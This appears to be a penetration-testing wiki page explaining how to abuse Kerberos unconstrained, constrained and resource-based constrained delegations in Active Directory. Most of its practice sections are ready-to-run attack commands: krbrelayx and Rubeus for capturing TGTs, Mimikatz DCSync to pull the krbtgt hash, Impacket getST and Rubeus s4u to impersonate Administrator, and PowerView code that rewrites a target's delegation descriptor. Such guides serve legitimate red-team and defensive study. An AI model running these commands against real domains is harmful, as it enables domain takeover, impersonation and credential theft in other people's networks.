Delegations

Theory

There are three types of Kerberos delegations

  • Unconstrained delegations (KUD): a service can impersonate users on any other service.

  • Constrained delegations (KCD): a service can impersonate users on a set of services

  • Resource based constrained delegations (RBCD) : a set of services can impersonate users on a service

With constrained and unconstrained delegations, the delegation attributes are set on the impersonating service whereas with RBCD, these attributes are set on the final resource or computer account itself.

Kerberos delegations can be abused by attackers to obtain valuable assets and sometimes even domain admin privileges.

Practice

Some of the following parts allow to obtain modified or crafted Kerberos tickets. Once obtained, these tickets can be used with Pass-the-Ticket.

Unconstrained Delegations

If a computer, with unconstrained delegations privileges, is compromised, an attacker must wait for a privileged user to authenticate on it (or force it) using Kerberos. The attacker service will receive a TGS containing the user's TGT. That TGT will be used by the service as a proof of identity to obtain access to a target service as the target user.

Unconstrained delegation abuses are usually combined with the PrinterBug or PrivExchange to gain domain admin privileges.

From the attacker machine (UNIX-like)
From the compromised computer (Windows)
From the attacker machine (UNIX-like)

In order to abuse the unconstrained delegations privileges of a computer account, an attacker must add his machine to the SPNs of the compromised account and add a DNS entry for it.

This allows targets (like Domain Controllers and Exchange servers) to authenticate back to the attacker machine.

This can be done with addspn, dnstool and krbrelayx (Python).

# Edit the compromised account's SPN via the msDS-AdditionalDnsHostName property (HOST for incoming SMB with PrinterBug, HTTP for incoming HTTP with PrivExchange)
addspn.py -u 'DOMAIN\MachineAccont$' -p 'LMhash:NThash' -s 'HOST/attacker.DOMAIN_FQDN' --additional 'DomainController'
# Add a DNS entry for the attacker name set in the SPN added in the target machine account's SPNs
dnstool.py -u 'DOMAIN\MachineAccont$' -p 'LMhash:NThash' -r 'attacker.DOMAIN_FQDN' -d 'attacker_IP' --action add 'DomainController'
# Start the krbrelayx listener (the AES key is used by default by computer accounts to decrypt tickets)
krbrelayx.py -aesKey 'MachineAccount_AES_key'

Once the krbrelayx listener is ready, a forced authentication attack (e.g. PrinterBug, PrivExchange) can be operated. The listener will then receive an authentication, hence a TGS, containing a TGT.

From the compromised computer (Windows)

Once the KUD capable host is compromised, Rubeus can be used (on the compromised host) as a listener to wait for a user to authenticate, the TGS to show up and to extract the TGT it contains.

Rubeus.exe monitor /interval:5

Once the monitor is ready, a forced authentication attack (e.g. PrinterBug, PrivExchange) can be operated. Rubeus will then receive an authentication (hence a TGS, containing a TGT). The TGT can be used to request a TGS for another service.

Rubeus.exe asktgs /ticket:$base64_extracted_TGT /service:$target_SPN /ptt

Once the ticket is injected, it can natively be used when accessing a service, for example with Mimikatz to extract the krbtgt hash.

lsadump::dcsync /dc:$DomainController /domain:$DOMAIN /user:krbtgt

There is also another attack based on unconstrained delegations, the MachineAccontQuota domain-level attribute and the SeEnableDelegationPrivilege user right.

Constrained Delegations

If a service account, configured with constrained delegation to another service, is compromised, an attacker can impersonate any user (e.g. domain admin) in the environment to access the second service.

  • If the service is configured with constrained delegation without protocol transition, then it works similarly to unconstrained delegation. The attacker controlled service needs to receive a user's TGS in order to use the embedded TGT as an identity proof. "Without protocol transition" means the Kerberos authentication protocol needs to be used all the way.

  • If the service is configured with constrained delegation with protocol transition then it doesn't need that user's TGS. It can obtain it with a S4U2Self request and then use it with a S4U2Proxy request. The identity proof can either be a password, an NT hash or an AES key.

Once the final "impersonating" ticket is obtained, it can be used with Pass-the-Ticket to access the target service.

UNIX-like
Windows
UNIX-like

The Impacket script getST (Python) can perform all the necessary steps to obtain the final "impersonating" TGS (in this case, "Administrator" is impersonated/delegated account but it can be any user in the environment).

The input credentials are those of the compromised service account configured with constrained delegations.

# with an NT hash
getST.py -spn $Target_SPN -impersonate Administrator -dc-ip $Domain_controller -hashes :$Controlled_service_NThash $Domain/$Controlled_service_account
# with an AES (128 or 256 bits) key
getST.py -spn $Target_SPN -impersonate Administrator -dc-ip $Domain_controller -aesKey $Controlled_service_AES_key $Domain/$Controlled_service_account

The SPN (ServicePrincipalName) set will have an impact on what services will be reachable. For instance, cifs/target.domain or host/target.domain will allow most remote dumping operations (more info on adsecurity.org).

In some cases, the delegation will not work. Depending on the context, the bronze bit vulnerability (CVE-2020-17049) can be used with the -force-forwardable option to try to bypass restrictions.

Windows

Rubeus can be used to request the delegation TGT and the "impersonation TGS".

# Request the TGT
Rubeus.exe tgtdeleg
# Request the TGS and inject it for pass-the-ticket
Rubeus.exe s4u /ticket:$base64_extracted_TGT /impersonateuser:Administrator /domain:$DOMAIN /msdsspn:$Target_SPN /dc:$DomainController /ptt

Once the ticket is injected, it can natively be used when accessing the service (see pass-the-ticket).

Resource Based Constrained Delegations (RBCD)

If an account, having the capability to edit the msDS-AllowedToActOnBehalfOfOtherIdentity security descriptor of another object (e.g. the GenericWrite ACE, see Abusing ACLs), is compromised, an attacker can use it populate that attribute, hence configuring that object for RBCD.

Then, in order to abuse this, the attacker has to control the computer account the object's attribute has been populated with.

In this situation, an attacker can obtain admin access to the target resource (the object configured for RBCD in the first step).

  1. Control a computer account (e.g. create a computer account by leveraging the MachineAccountQuota setting)

  2. Populate the msDS-AllowedToActOnBehalfOfOtherIdentity security descriptor of another object with the controlled machine account as value, using the credentials of a domain user that has the capability to populate attributes on the target object (e.g. GenericWrite).

  3. Using the computer account credentials, operate S4U2Self and S4U2Proxy requests, just like constrained delegation with protocol transition.

UNIX-like
Windows
UNIX-like

1 - Check the value 🔎 & Create the computer account

Check the MachineAccountQuota page

2 - Edit the target's security descriptor

The rbcd-attack script (Python) can be used to modify the delegation rights (populate the target's msDS-AllowedToActOnBehalfOfOtherIdentity security descriptor), using the credentials of a domain user. The rbcd permissions script (Python) is an alternative to rbcd-attack that can also do pass-the-hash, pass-the-ticket, and operate cleanup of the security descriptor.

rbcd-attack -f 'SHUTDOWN' -t $Target -dc-ip $DomainController 'DOMAIN\anonymous:anonymous'
# Attack (example with user/password)
rbcd-permissions -c 'CN=SHUTDOWN,OU=Computers,DC=DOMAIN,DC=LOCAL' -t 'CN=TARGET,OU=Computers,DC=DOMAIN,DC=LOCAL' -d $DOMAIN_FQDN -u $USER -p $PASSWORD -l $LDAPSERVER
# Cleanup
rbcd-permissions --cleanup -c 'CN=SHUTDOWN,OU=Computers,DC=DOMAIN,DC=LOCAL' -t 'CN=TARGET,OU=Computers,DC=DOMAIN,DC=LOCAL' -d $DOMAIN_FQDN -u $USER -p $PASSWORD -l $LDAPSERVER

Testers can use ntlmrelayx to set the delegation rights with the --delegate-access option (see NTLM relay) instead of using rbcd-attack or rbcd-permissions

3 - Obtain a ticket 🎫

Once the security descriptor has been modified, the Impacket script getST (Python) can then perform all the necessary steps to obtain the final "impersonating" TGS (in this case, "Administrator" is impersonated but it can be any user in the environment).

getST.py -spn $target_SPN -impersonate Administrator -dc-ip $DomainController 'DOMAIN/SHUTDOWN$:SomePassword'

The SPN (ServicePrincipalName) set will have an impact on what services will be reachable. For instance, cifs/target.domain or host/target.domain will allow most remote dumping operations (more info on adsecurity.org).

In some cases, the delegation will not work. Depending on the context, the bronze bit vulnerability (CVE-2020-17049) can be used with the -force-forwardable option to try to bypass restrictions.

4 - Pass-the-ticket 🛂

Once the ticket is obtained, it can be used with pass-the-ticket.

Windows

In order to run the following commands and tools as other users, testers can check the user impersonation part.

1 - Check the value 🔎 & Create the computer account

Check the MachineAccountQuota page

2 - Edit the target's security descriptor

The PowerShell ActiveDirectory module's cmdlets Set-ADComputer and Get-ADComputer can be used to write and read the attributed of an object (in this case, to modify the delegation rights).

# Populate the msDS-AllowedToActOnBehalfOfOtherIdentity
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount 'PENTEST01$'
# Read the attribute
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount

PowerSploit's PowerView module is an alternative that can be used to edit the attribute (source).

# Obtain the SID of the controlled computer account
$ComputerSid = Get-DomainComputer 'PENTEST01' -Properties objectsid | Select -Expand objectsid
# Build a generic ACE with the attacker-added computer SID as the pricipal, and get the binary bytes for the new DACL/ACE
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
# set SD in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the target comptuer account
Get-DomainComputer $targetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

3 - Obtain a ticket 🎫

Rubeus can then be used to request the "impersonation TGS" and inject it for later use.

Rubeus.exe s4u /user:SHUTDOWN$ /rc4:$NThash /impersonateuser:Administrator /msdsspn:$Target_SPN /ptt

The NT hash can be computed as follows.

Rubeus.exe hash /password:$password

4 - Pass-the-ticket 🛂

Once the ticket is injected, it can natively be used when accessing the service (see pass-the-ticket).

References